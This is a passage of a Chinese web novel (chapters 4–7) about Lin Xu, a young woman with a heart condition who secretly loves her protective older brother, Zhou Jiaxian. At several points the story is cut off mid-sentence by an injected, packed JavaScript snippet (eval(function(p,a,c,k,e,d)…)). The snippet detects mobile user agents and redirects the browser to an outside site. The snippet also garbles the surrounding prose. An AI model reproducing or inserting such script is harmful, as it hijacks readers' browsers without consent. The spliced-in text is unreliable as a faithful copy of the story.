周嘉先望了一眼窗外，电闪雷鸣、暴雨如注的，他沉思了下，爸妈的房间和小絮的房间是同一个朝向的，有点直面风雨，还真是他这个房间安全一点，于是他道：“那也行。” “你继续睡吧，我把案件资料拿过去那边看。”说着，周嘉先开始收拾起桌上的文件来。 “哥……”林絮抿了抿唇，强按着内心的忐忑，试探着道：“……你能不能留在这里？” 周嘉先指尖一顿，抬眸看向她，露出询问的眼神，“怎么了？” 林絮顿时慌乱起来，心脏仿佛要跳出胸腔了，她连忙找补道：“哥我有点害怕……” 明明很想让他知道她的心思，但她却又止不住地害怕。既期待又恐惧，对于他对她的好，既甜蜜又心酸……她的心仿佛一直高悬着，不上不下，忐忑不安。错综复杂的情绪让她觉得心脏胀疼得难受，此刻脸都有些发白。 床上的人儿抱着他的被子，脸色发白，周嘉先皱了下眉头，是被吓到了吗？他走过去，微微俯下身子，轻轻拍了拍她的发顶，低声道：“没事了啊，别害怕。我就在这里守着小絮睡觉，好吗？” 林絮微微抬眸，对上她哥带着温和笑意的双眸，慢慢点了点头，“好……” 她缓缓躺下，拉了拉被子盖上，盖得只剩下一双眼睛露在外边。 见状，周嘉先无奈笑了下，伸手将她的被子又往下拉了一点，盖到脖子处，他是真不明白怎么有人盖被子盖那么上，不会觉得闷的吗？ 周嘉先轻轻拍了拍被子，低声道：“睡吧……” 随后他起身将桌上的小台灯亮起，又关掉了房间里的大灯，暖色的小台灯散发着幽幽的黄光，周嘉先拿了个文件坐在台灯下看着…… 床上的林絮偷偷睁开了双眼，她望着不远处台灯下的男人嘴角不由地挂起甜蜜的笑，被褥床单枕头是都是哥哥身上清冽的雪松味，她悄悄地嗅了嗅，只觉得满满的安心，就像陷在哥哥的怀抱中一样。 夜越渐深沉，窗外的雨渐渐小了…… 周嘉先拧了拧眉心，仰头靠在椅背上，闭上双眼让发酸的眼睛休息片刻，他将文件轻轻放回桌面上，走过去看了一眼已经睡得深沉的妹妹，最后他掖了掖她的被角，将台灯关掉，这才轻手轻脚地走出了房间。 …… 翌日。 林絮醒过来的时候望着天花板发了好一会儿愣，她坐起身看着属于她哥的房间，又想起了昨天晚上她悄悄试探让他哥留下来的“壮志豪言”，忽然崩溃地捂住了脸。 啊—— 她心里的尖叫声作响。 要死了要死了，还好昨晚她后来找补了话，她哥昨晚估计听到都懵了一下吧，夜晚真是壮人胆啊！（友情提示：不要在夜晚做决定。） 纠结了好一会儿，林絮脸色讪讪地走出了周嘉先的房间，接着一把推开她自己的房间门，跑进去换个衣服出来，刚走出房间她侧首望了一下，就撞见他哥站在餐桌旁喝水。 “醒了？”周嘉先盯着她看，观察着她的脸色，见没有像昨天晚上一样发白，就意识到她应该睡得还好，因此稍稍放心了一些。 “嗯，醒了。” 林絮被看得头皮发麻，昨晚试探的画面又浮现在脑海里，她心虚起来…… “先去刷牙洗脸吧，我去做早饭。”周嘉先笑了笑，将喝完水的杯子放在桌上，走进了厨房。 林絮提着一口气才缓缓呼出，她郁闷地走进了卫生间，擦拭得光亮的镜子上倒映出她带着细微病气的面容。 林絮抿着唇，情绪开始翻江倒海，刷牙洗脸完之后，她从镜子下方的小柜子里拿出一只口红淡淡地涂了一层，这才心满意足地出了卫生间。 周嘉先听到脚步声，余光瞥了她一眼后，继续忙着手上的事情，边道：“桌子上有温水，你先喝杯温水。” “哦……”林絮坐在餐椅上，双手握着水杯慢慢地喝着。 食物香气缭绕，煮滚的汤雾气升腾模糊了周嘉先的面容，林絮看着他哥拿着筷子搅着锅里的面条让面条不至于粘在一起。 她将水杯放下，轻手轻脚地走过去，靠在厨房的推拉门框上静静地看着这一幕…… 雾气中男人那张眉眼锋利的面容渐渐恍惚，林絮仿佛看见了少年时期的他。 时光一下子穿梭回她见证过的他的少年时期，那时的他身形如松柏般挺直，身体清瘦却不显纤细。 少年的他像今日一样在厨房里忙着，老旧的抽烟机发出干哑、断断续续的嗡嗡声，搅拌机也在不断地响着，狭小的厨房里辣味呛人。 彼时的她刚上初一，京照初中的小卖部里挤满了学生，这个年纪的学生手里已经有了可供自己支配的零钱但又不多，因此小卖部畅销的都是便宜、初中生又爱吃的辣条。 因为她患有先天性心脏病，所以垃圾食品家里人从来都不让她吃，她想吃零食就只能吃吃水果，她自己也从来都不敢提要吃垃圾食品，生怕给家里人添麻烦。 只是周末的某一天，她爸和阿姨去上班之后，她坐在客厅里看电视，电视上插播的广告正好是卫龙辣条。然后她突然哭了，坐在沙发上哭得不能自抑。 “怎么了？小絮！你怎么哭了？” 她哥周嘉先在房间里刷题，彼时的他已经高二了，很快就要面临高考，听到她的哭声之后立刻跑了出来，蹲在了她的面前，满眼担忧地看着她。 她哭得一哽一哽地，不好意思说是因为想吃辣条，想吃别人喜欢吃、而她却从来没尝过的辣条。 “没什么……” “没什么，你怎么会哭呢？是学校里有人欺负你了，还是考试成绩不理想，你和哥说说，我保证给你解决问题，好不好？” 少年神情温润，低声地哄着她，林絮红着眼睛抿着唇固执地盯着他看，听到他说“保证给你解决问题”时，她气得撅着嘴，她就是有病，就是不能吃垃圾食品，他是神吗？能给她变出一副健康的身体吗？就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222571|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说保证给她解决问题！他根本就解决不了！ 出于想看她哥下不了台的样子，她哼了一声，“我想吃辣条！” 果然，她看见她哥皱起了眉头，开始说道：“市面上的辣条都是垃圾食品，里面的油可能不太健康，还有很多添加剂……你的身体……” 她哐哐又开始掉眼泪，带着哭腔的声音怼回去，“你不是说保证给我解决吗？连包辣条都不给我吃，我从来就没吃过辣条，我知道是垃圾食品啊，我就想吃，别人都吃过，就我没有！就我没有！你说话不算话……” 周嘉先被她尖锐的哭声哭得脑门嗡嗡响，赶紧道：“等等，我没说不给你吃。” 林絮的哭声一顿，双眼还包着泪水，不敢相信般小小声道：“……真的吗？我能吃吗？” 见她这幅样子，周嘉先心软又怜惜，也是，这个年纪的孩子都喜欢吃零食，他初中的时候也偷偷背着父母吃，妹妹从小到大估计都馋很久了……于是他肯定地点了点头。 她哥点头了，林絮反而有些忐忑起来，后悔刚才那样冲她哥说话，她伸手拽了拽他的衣角，“对不起……” 周嘉先笑了笑，很乖的孩子嘛……他轻轻拍了拍她的发顶，一脸神秘兮兮道：“哥给你自制辣条，我们买材料回来自己做，这样又健康又好吃，你想怎么吃就怎么吃，好吗？” 自己做辣条？这是个新鲜的事，林絮眼眸一亮，比之想吃辣条这件事，自己制作辣条更让她感兴趣。 于是她哥周嘉先上网查找了如何制作辣条的视频，将需要买的东西记了下来，兄妹两人去了超市买齐了所需要的食品材料。 因为哭了一场又去了超市，她回家就睡着了，等她睡一觉醒来闻到呛人的辣味之后，就跑到厨房门口看着他哥在满是呛人味道的厨房里忙活着。 几个食品封口袋子放在柜子上，青柏般的少年一手用筷子挑着长短差不多的辣条，一手捏开袋子小心翼翼地放进去，根根摆放整齐后，再细心得捏紧了封口，还用写着制作日期的小标签贴在袋子角落。 “睡醒了？刚刚好，哥已经做完了。”周嘉先将袋装辣条递给她，“怎么样，看着还不错吧？吃着也不错，我试过了。” 她微红着脸，接过了那几包包装、卖相都很不错的辣条，“嗯，谢谢哥。” “现在不哭了？” 林絮看着微微弯着腰，凑在她面前的少年的面容，忽然撇开了脸，左顾右盼道：“哥，剩下的那些你怎么处理啊？” 周嘉先直起身子，苦恼地啊了一声，确实还剩下了一部分卖相不好看的，长短不一，宽窄不一的辣条。 他想了想，从冰箱上拿了一个保鲜袋，哐当将剩下的、卖相不好的辣条都倒了进去，然后笑眯眯道：“我拿去学校给我的同学解决了吧……” “是王思哥哥他们吗？” “嗯。” “会不会不太好啊？” “没事，他们糙得很，能吃就行。” …… “小絮，快让一让。”周嘉先双手分别端着一碗汤面，他看着挡在厨房门口正在神游的妹妹无奈地出声提醒道。 林絮愣了下，过往的画面仿佛水滴滴落湖面，涟漪泛起，镜像破碎，少年的面容被眼前眉眼英俊的男人替代。 “哦？哦……”她赶紧让开。 林絮低头看着她面前的这碗汤面，里面有嫩绿的青菜芯、去了皮的番茄、一口一块的肉片还有煎得完整的鸡蛋，面也不坨，卖相好看，一看就让人有食欲。 但……她瞥了一眼对面的男人，他碗里的面坨成一团，绿得很沉的青菜看起来就有点老，估计口感没那么好。他哥估计是不小心煮着煮着面粘锅底了，所以他把好的挑出来给她吃，粘锅的那一部分就自己吃了。 “哥，要不你吃我这碗吧……”难道是她昨天晚上打扰到他了，他哥没睡好？林絮有点心虚。 周嘉先抬眸看了她一眼，不在意地笑了笑，“没事，能吃就行。” 林絮闻言，顿时抿了抿唇，她攥紧了筷子，心绪泛起波动，从小到大，眼前的这个男人一直都很双标，他对她仿佛总是无止境地纵容着，这样的他叫她怎么能不动心呢？ 5. 第 5 章 - 元旦因为刚好在周六，所以连着周日一起放。 周日，林絮学校放假，而周嘉先也不用上班。吃完早饭后，周嘉先就接到了柳垂影的电话，让他有空去超市买些食物，他们夫妻俩估计晚上才回来，没有时间顺便去超市买菜了…… 周嘉先答应了，父母总是忙碌于工作，能回家休息吃饭已经很不错了，压根抽不出时间去逛超市买食物，所以从小到大，基本都是他去超市买菜买肉回来放在冰箱里。 今天早上他煮汤面的时候就发现冰箱里面已经没什么东西了，他原本就要去一趟超市的。 挂断电话，周嘉先想了想，走过去敲了敲林絮的房门，想起昨天她爬楼梯时上起不接下气的模样，也实在是缺少锻炼。虽然说她的身体不适合剧烈的运动，但逛逛超市这个强度还是可以的。 “小絮，我要去一趟超市，你要不要跟哥一起去？” 话音才刚落，房门就被打开了，林絮蹿了出来，眼神亮亮的，“当然要一起去。不过……我要换一下衣服，哥你等我一会！” 周嘉先闻言，目光下意识打量了一眼她的穿着，挺好的啊，完全可以出去，他不理解她为什么要换，但还是点了点头，女孩子说什么都有她的道理，他带了妹妹这么久，完全深谙此道。 “好。你换吧，我在客厅等你。” “嗯嗯！嗯嗯！” 林絮点点头，迅速将门关上，想着他哥的穿着，她怀着窃喜，立刻从衣柜里挑出同色系的衣服换上，再用涂了一层淡淡的口红，脸颊上拍了淡淡的腮红，再朝空中喷了些香水，她在喷了香水的地方转了个圈子，轻淡的香水味就沾染在她的身上…… “……咳。”林絮不自在地咳了一声，既想让她哥发现她打扮的小心思，又怕太过刻意，“我换好衣服了，哥我们走吧。” 周嘉先站起身将手机放回口袋里，微笑着点了点头，“行，那走吧。” …… 大约是元旦前后再加上周末的原因，超市里人山人海的，拥挤又嘈杂。 周嘉先皱了皱眉，他出门前倒是没考虑到这一点，他垂眸望看了一眼身旁的林絮，低声道：“会难受吗？” 林絮摇了摇头，眉眼弯弯，眼神里充满依赖和信任，“我没事。我们逛一逛吧。” “行，难受的话就和我说，我们赶紧回去就是。” “嗯……” 拥挤噪杂的人群似乎完全干扰不到他们之间的氛围，林絮、周嘉先身后不远处有一群女孩子偷偷窃窃私语着，言语里尽是对这对情侣之间亲密氛围的议论。 明眼人都能看出林絮眼中的依赖、爱恋，偏偏当局者迷，将妹妹从小带大的周嘉先早就习惯了她眼中的依赖，因此才没看出她对他的钦慕。 林絮跟在周嘉先的身边，她看着他推着购物车边走边看，一副认真的模样，然而每当有旁人将购物车推得靠她近了一些，他总能立刻伸手将她带着更加靠近他的身边。 林絮余光瞥过他哥攥着她手臂的手，心底悄悄窃喜起来，她眼眸一转，在又有旁人将购物车推得离更近的时候迅速反客为主地抱上了周嘉先的手臂，完全贴在这个男人身侧。 “哥，好多人啊！” “嗯，小心点。” 周嘉先稍微往旁边挪了挪，让林絮站在了购物车的车把手后方，这样可以稍微抵挡住旁人的购物车，要撞上也是撞上购物车，不至于让躲在购物车后方的她被撞上。 挑完菜和肉之后，周嘉先、林絮去了水果区，林絮的身体最好不要吃垃圾食品，所以水果才是她的零食。 逛着水果区时，林絮才松开了抱着周嘉先的双臂，她微微弯着腰挑选着不应季节的巨峰葡萄。 周嘉先眼眸带笑，静静地看她挑着，忽然身后有购物车的滑轮滚动的声音，他下意识往身后看了一眼，是一对一起推着购物车的情侣。 只不过…… 他眼眸微闪，觉得这个男的有点眼熟，周嘉先又看了好几眼，蓦然想起来了，这个男的就是曾经小絮初二时的同班同学。 当时他高三，正忙于五大学科竞赛，有一天突然接到父母的电话，说是小絮心脏病犯了，在医院，虽然抢救过来了，但是醒过来后一直在找他。 「嘉先，我知道你现在正是关键的时候，竞赛成绩不错的话就可以保送了，我……现在把你叫回来不好，但小絮是你妹妹……」 「爸，我现在就过去，你别多想，回去看一眼也耽误不了什么。」 当时他迅速赶到了医院，刚抢救完的她带着氧气面罩，脸色比病床上的床单还要雪白，看到他时眼尾溢出了泪水。 后来他从她的朋友那终于问出来了，原来是因为她妹妹情窦初开了，喜欢那个男孩子，而这个男孩子却不知道从哪里知道他妹妹有心脏病，说了一些不好的话刚好被他妹小絮听到了……这才犯了病。 想起这件事的周嘉先眼底闪过一抹暗色，他至今都记得看见一脸惨白，整个人陷在病房上戴着氧气罩的小絮时，他内心慌乱和惊惧的感觉憋在心里有多令他难受。 那对情侣就要走过来，周嘉先余光瞥见林絮挑好了一串巨峰葡萄后正要转身，鬼使神差下，他放开购物车的把手，大步走向前，将刚好转过身来的她按在了他的怀里…… 林絮：！！！ 清冽的雪松味萦绕在她的鼻尖，林絮心如擂鼓，惊讶得瞪大了双眼，他哥……他哥怎么忽然抱着她？虽不理解，但她贪念此刻的温柔和安心，她静静地靠在他的怀里，耳边是他沉稳有力的心跳声。 情窦初开时喜欢的人最是难忘，周嘉先非常担心小絮再次见到对方会记起曾经对方的污言秽语，再加上对方身边已经有了女朋友……可不能再发病了啊…… 他盯着对方看，那对情侣路过他时也面带揶揄地看了他一眼，等两人离开他的视线后，他才微微往后退了退，松开了怀里的人。 林絮眼中闪过留恋，她微微扬起头，低声道：“哥……怎么了？” 周嘉先垂眸看着她，也没想到她居然那么配合、那么信任她，“没事，就是刚刚你后面有辆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222572|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 购物车冲过去了，我怕撞到你。” “啊？这样吗？” 林絮愣了愣，但很快就接受了这个理由，因为她乍一下被她哥抱在怀里时，确实脑门一热，什么都注意不到了。 她心里悄悄滑过失落，原来只是这样啊，也是……除了这个理由之外，他哥还能有什么理由会主动抱她呢，总不能是像她一样对自己的家人产生了不为人知的心思吧……林絮微微垂眸，心中泛酸，喜欢自己的哥哥，这件事或许将永远烂在她的心里。 “嗯。”周嘉先点了点头，心里觉得有些好笑，小絮也太信任他了吧，这么一听明显就是瞎扯的理由都信。 买完水果后，林絮和周嘉先就去结账了。周嘉先一脚油门很快就回了家。 一直到下午四点多，林浩和柳垂影都没有回来，周嘉先皱了皱眉头，看来连撞车祸应该很严重，他爸妈估计得晚上才回来了，“小絮，我记得你明天早上有课吧？我先送你回学校？” “好。”林絮刚好开着房间门，正在收拾东西，闻声便应了一声。 房间内的窗玻璃下午的时候工人就已经来换过了，林絮收好东西后遗憾地看了一眼，看来下次不能再用这个借口睡他哥的床了。 - 周嘉先开车将林絮送到南门就离开了，京大校内管理很严格，外来车辆不被允许开进学校。好在南门距离林絮的宿舍楼并不远，走路几分钟就到了。 元旦刚过，校道路灯柱子上庆祝新一年的喜庆牌匾在满目萧条的冬季显得格外抢眼，林絮顶着冷风埋头走着，走着走着，她就发现有些不太对劲了…… 因为地理原因，从南门进出的学生大部分都是她们14栋的女生，今天怎么回事，那么多男生围在前面，是发生什么事了吗？ 这个念头在她脑海中划过，林絮立刻决定绕道从14栋的后门进宿舍楼，她很有自知之明，她这个千疮百孔的身子还是不要去凑热闹好了…… 只是她脚尖才刚转，身侧忽然有女生喊道：“诶！林絮在这里，她来了！” 随着这一嗓子，周遭的人群仿佛沸腾起来了一般，在林絮愣神的这会儿功夫，好几个女生半推着她往前走，道：“林絮你终于回来了，体育学院的欧阳铭等你好久了。” “是啊，今天天这么冷，他在宿舍楼下等你两个小时了……” “好浪漫啊，你快去看看！” …… 什么浪漫？ 体育学院的欧阳铭找她有事吗？ 找她有事的话干嘛不直接发微信给她就好？ 当看到14栋宿舍楼门口那摆满地的爱心型红玫瑰花，且欧阳铭抱着一大束玫瑰花站在满地的花朵中满脸笑意地看着她时，林絮瞬间明白了。 难怪这么多男生，这都是体育学院的学生吧，欧阳铭叫来热场的？ 林絮一出现，周围的男生女生开始起哄，欧阳铭也抱着花束慢慢走到她的面前，“林絮，从见你的第一面起，我就对你一见钟情，我喜欢你，请你做我女朋友吧？” …… 6. 第 6 章 - “哇哦～” “答应他！答应他！” “好浪漫啊！答应他——” 鼓掌声、起哄声一阵阵响起，林絮看着眼前的闹剧头疼不已，她和欧阳铭根本就不熟啊，认识对方也是因为她选修的瑜伽体育课老师受伤了，上不了课，所以体育老师找了欧阳铭这个体育学院的学生来代一下课。 林絮刚才就想直接转身走人的，但场面搞得这么大，毕竟是同个学校的学生，她也不想态度太差让人家面子上难看，再加上她对这种“喜欢一个人”的心情感同身受，因此才决定听完对方的话再拒绝。 但围观群众的存在感实在太强了…… 林絮抿了抿唇后不得不提高声音的响度，“不好意思，欧阳同学，我有喜欢的人了。抱歉……” 她的话语刚落，围观的学生顿时一个个像被卡住了脖子一样，气氛一时尴尬又凝滞。 林絮转身想走，然而抱着玫瑰花束的男生忽然攥住了她的手腕，林絮脚步一顿，皱起眉头，“欧阳同学？” “我不信你不喜欢我！”欧阳铭咬着牙道，“是我今天的准备不够充分吗？所以你不满意……我知道你们女生很注重仪式感，你想要什么样的告白现场，你说，我一定做到！” 林絮：？？？ “不是……欧阳同学，我真的不喜欢你。”她真的很无奈。 周围学生的眼神渐渐变得异样起来，体育学院过来热场的同学走了过来，站在欧阳铭的身边一脸尴尬地劝他，“算了吧，阳铭。人家是真的不喜欢你，她都不知道你姓欧，叫阳铭，而不是姓欧阳，单字铭……” 林絮：…… “不可能，我不相信！”欧阳铭固执地想将玫瑰花递给林絮。 林絮往后退了一步，头疼道：“那你说，你怎么就确信我会喜欢你呢？” 欧阳铭闻言，目光顿时坚定起来，“上周我在篮球场那边打球，你帮我捡了好几次篮球，难道不是故意接近我的吗？” 林絮：…… “篮球场外圈是学校跑道对吧，我偶尔也会过去散散步，锻炼锻炼，是你每次把篮球滚到我脚下的，你们一大群人看着我，我不好意思直接走掉这才帮你们捡的。” “我真不喜欢你，我有喜欢很多年的人……” 林絮说完话也不想再和对方纠缠不清，转身就想走，欧阳铭沉着脸，围观的同学有眼色的都选择离开了，但还是有大部分目光落在他的脸上。 欧阳铭看着如此盛大的现场，只觉得脸上火辣辣的，他伸出手攥住林絮的手腕，声音又急又厉，“你就不再考虑考虑，我自认条件不错……” 林絮皱起了眉头，想抽出被攥住的手腕，“你放开我……” 忽然间，林絮觉察到身后忽然快速掠过一个她熟悉的身形，接着就听到欧阳铭嚎叫了一声，他攥着她的手猛然松开了。 周嘉先又伸手拉了一下林絮，让林絮退到他的身后，“你干什么？没听到她叫你放手吗？表白还想强买强卖不成？” 哥…… 林絮看着眼前身型高大挺拔的男人，心中喃喃唤了一声，一向温柔和煦的他此刻锐利尽显，却也让她顿感安心。 欧阳铭铁青着脸，刚刚猝不及防被对方按了一下麻穴，现在整条胳膊都麻了，身边的朋友都在劝他算了算了，他越发感到下不来台、面子上过不去。 “你又干什么，这是我和她的事，你这个外人来掺合什么？赶紧滚开……”这人穿西装打领带的，一看就不是他们学校的学生。 外人？周嘉先哼笑了一声，小絮是他从小到大都如珠如宝护着的人，居然有人觉得他是外人…… 欧阳铭僵了下，从这个男人出现后，林絮就什么也不说，只专注地看着这个男人，他梗着脖子道：“难道你就是那个林絮喜欢了很多年的人，我要和你公平竞争！”… 喜欢了很多年的人……周嘉先侧首垂眸看了一眼林絮，刚才他走过来的时候也听到那句话了，他下意识想起早上去逛超市时遇见的那个男生，是小絮情窦初开、也是害她犯了心脏病的男生……那就是她喜欢了很多年的人么…… 林絮手心顿时攥紧，垂着眼帘遮住了眼底的忐忑和慌张，她不知道他会怎么回答这个问题，会承认吗？还是…… “我是她哥。” 林絮攥紧的手心顿时松开了，心里一片荒凉，果然啊…… “林、林絮的……哥？”欧阳铭顿时尴尬了，他刚才还叫人家滚开…… 这时，欧阳铭带来的朋友怕事情闹大了，互相面面相觑了片刻后，一左一右地架起了他的双臂准备将人拉走，年轻人谈恋爱而已，可没想到见家人的份上，欧阳铭尴尬地顺着台阶下了，低声说了句不好意思之后就跟着朋友离开了。 围观的同学陆陆续续离开了，林絮看着满地的玫瑰花瓣神情无奈。 “哥，你怎么又回来了？” 周嘉先沉默了片刻，从西装外套里拿出了一部手机，“你手机又忘拿了，落在车上了。” 林絮愣了一下，下意识翻开小背包看了一眼，还真是……她的手机和她哥是同一款，经常发生她明明看到了手机却以为是她哥的，结果其实是她的，她哥还得给她送回来的事。 林絮讪讪地笑了笑，拿过手机，“好吧……还真是我的。” 周嘉先：“你有刚才那个男生的微信吗？” 林絮疑惑：“……有是有？” “发微信叫他回来清理垃圾。”周嘉先皱着眉头，在宿舍楼下搞得场面这么大又不收拾，他是跑了，难不成要让他家小絮来收拾吗？ 林絮：“哦、哦好。”她连忙从微信通讯录里搜索欧阳铭的名字，再发给对方让他回来清理掉满地的玫瑰花瓣。 周嘉先睨了她一眼，伸出手，“手机给我……” 林絮：？？？ “哦，好。” 周嘉先拿过手机，发现她的微信聊天页面上置顶了他和“一家人”的群，他下意识嘴角勾起微笑的弧度，而后指尖动了动，将欧阳铭的微信删除掉了。 林絮也看见了他的操作，心里隐隐约约泛起忐忑和窃喜，他会是吃醋了吗？还是…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222573|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周嘉先将手机递还给她，“作为你的哥哥，据我刚才观察，那个男生情绪容易失控，不适合你，既然小絮你也不喜欢他，干脆删掉好了。你不会生哥哥的气吧？” “……当然不会。我本来就不喜欢他。”林絮垂眸低声道。 周嘉先点点头，又轻轻握起她的手看了看，“还好，没伤到你。” …… 宿舍内。 林絮坐在椅子上反复揣测着她哥删掉欧阳铭微信的行为，企图从中找出一丝丝他也对她有超乎兄妹之间感情的证明，但…… 她呼出一口郁气，往椅背上靠了靠，不可能的，她在自欺欺人，因为从小到大她哥一直护着她，生活、学习、身体健康等等方方面面都上心，所以很有可能她哥是真的觉得不适合，她也不喜欢，为了避免情绪不稳定的人伤害到她，便干脆让她删掉了…… 她也知道这个年纪的男孩子都要面子，在这么大庭广众之下被拒绝了，还被删除了微信，以后对方估计就对她绕道走了。 这时，宿舍门被一把推开，朱玲玲、魏桔、陈瑶拎着大包小包走了进来。 魏桔将东西随手放在了桌面上，神情焦急，立刻问道：“林絮，我们刚刚在宿舍楼下看见欧阳铭在收拾一地的玫瑰花瓣，我听说他和你表白了，你不会答应了吧？” 林絮笑了笑，“没有。我拒绝了。你们去超市了？” “啊，对，我们去超市了。”魏桔点了点，神色又变了一下，“不是，你别转移话题啊，欧阳铭那家伙超级烦的，还总是自以为是。你可别被她骗了啊……” “不会的，我哥把他微信删掉了。”林絮笑着道。 啊？你哥？ 魏桔三人满头雾水，林絮便将刚才的事说给她们听。 朱玲玲心里狐疑地闪过了一个疑问，作哥哥的居然这也会管吗？她也有一个哥哥，长大后她和她哥都没什么话好聊的。 虽然有些疑惑，但朱玲玲也没开口问，毕竟这世界上关系好的兄妹说不定也真有这样的。 “那就好，还好你哥来了，我们几个都不在，谁知道那个欧阳铭被你拒绝会不会当场恼羞成怒啊。”朱玲玲心有余悸道。 林絮闻言，微微笑了笑，“其实我哥没来的话，我自己也可以让他知难而退的。” 陈瑶好奇道：“怎么个知难而退法？” “唔……”林絮手肘支在桌面上，手心托着下巴，眼眸弯弯道：“我就说啊，我有心脏病，你和我在一起，哪天亲着亲着，我心脏受不了就发作了，人凉掉了，你也不介意吗？” 朱玲玲：…… 陈瑶：…… 魏桔：…… 三人咽了咽口水，真是好一个地狱级冷笑话，但……她们其实也不得不承认…… 唉，陈瑶真想扇自己一巴掌，干嘛非要好奇问“知难而退法”，林絮有心脏病这件事，她到底得多麻木了才能拿自己的身体开这样的地狱级玩笑。 见她们三人的神情，林絮歉意地笑了笑，摆摆手道，“诶……我就开个玩笑。对不起啊！” …… 7. 第 7 章 - 林絮说出这段话也不是无的放矢，很多年前她曾经听过男生这么说她，同是男生，不能接受的点应该也差不多吧…… 那大概是她在读初一的时候，班上有个很受欢迎的男孩子，同龄男生总是将校服穿得又脏又皱，只有他，和那群皮实的男生完全不同。 他总是笑得一脸温和，眼眸温润，成绩也很好，很耐心地教女孩子们题目，可以说当时班上只要已经情窦初开的女孩子几乎对他都有好感，当时的她自然也不例外。 因为她患有先天性的心脏病，林浩、柳垂影花了很多钱、托了七拐八弯的关系才让京照初中同意让她入学，但是需要签免责书。 一家人考虑了很久，最终还是签字了，总不能让她不上学，再加上小学的时候也是这样，一家人都抱着她能像小学一样能够顺顺利利、平平安安毕了业的念想签了字。 林絮成功进了京照初中，但由于当时她班上的老师是新入行的新老师。 作为班主任，得知道自己班上居然有个脆皮学生，动不动就会挂掉，于是吓得千叮咛万嘱咐，嘱咐班上的学生要小心点，不要在林絮的身边跑跑跳跳，以免伤到她、碰到她，害她心脏病发作。 学生知道了，自然学生的家长也会知道，家长们生怕担责任，所以都不让自家的孩子和她玩，因此当时她只有她的同桌王薇一个朋友。 王薇知道她喜欢那个男生，于是鼓励她去表白。她认认真真地写了一封情书之后，拉着王薇，鼓起勇气准备去表白的时候却听见那番话…… “林絮是我们班长得最漂亮的女生，她好像也喜欢你耶，你小子真让人羡慕，我猜你肯定选林絮当女朋友！” 乍一下听到这句话，当时的她心脏砰砰跳，只觉得脸颊都开始冒热意，她攥着那张情书躲在角落里，王薇双眼兴奋，当时的她们激动地想偷偷听听那个男生接下来会怎么说…… “有什么好羡慕的，你别乱说，我最不可能选的就是林絮了。” “啊？为什么，她是我们班最漂亮的女生耶。” “漂亮是漂亮，但是她有病啊！要是在床上做着做着，她一个激动就发病了，人凉了，那我不得阳痿了吗？” 当时，她脑海中轰地一声炸响，年少的她怀揣着纯洁、浪漫的少女心事，满是羞涩和期待，却没想到听到的是让人羞耻得恨不得钻到地下的污言秽语，再加上对方说的还真是有可能的。 所以，她真的发病了，心脏上的剧痛袭来后，她抽噎着很快就晕了过去，耳边隐隐约约是王薇的尖叫声，后来她重新有意识之后看见的就是脸色憔悴、满眼担忧的哥哥周嘉先。 刚醒来的林絮虚弱无力，说不出话来，只能使劲动了动指尖，指尖搭在了她哥的手背上。 周嘉先为了第一时间能感知到妹妹林絮醒过来，他右手手掌轻轻搭在床上她的手边，另一只手握着黑色水笔，将试卷放在病床床头的柜子上一边答着题目。 因此林絮的指尖一动，他立刻感觉到了。 “小絮，你醒了？”周嘉先干涩的眼眸泛着细微的疼意，他扯了扯嘴角却勾不起平日里笑容的弧度。 林絮轻轻眨了眨眼睛，盯着他的试卷看了看，他不是正忙竞赛吗？怎么不去上课反而来医院守着她，她很想开口说话，催他回学校，但有心无力，便焦急得不行。 周嘉先一眼便看出来了，笑着连忙道：“别急别急，我这次竞赛只是先试试水而已。” 林絮眼角沁出泪水，顺着眼尾滑落落在枕头上，她不明白明明那个男生看起来和她哥哥那么像，温润如清风般，却不想对方居然会说出那么不堪入耳的话，少女的心在那一刻碎成了渣。 周嘉先微蹙起眉头，抽了张纸巾擦掉她的泪水，低声轻哄着道：“没事了没事了，哥给你保证，好吗？” 林絮微微眨了眨眼睛，艰难地露出一丝笑意。 后来当她出院之后，忐忑不安地回到学校，却发现那个男生已经转校了。同桌王薇告诉她，是她哥哥教她把当天那个男生说的话偷偷告诉班上的每个女孩子。 那个男生在女生心中的完美形象完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 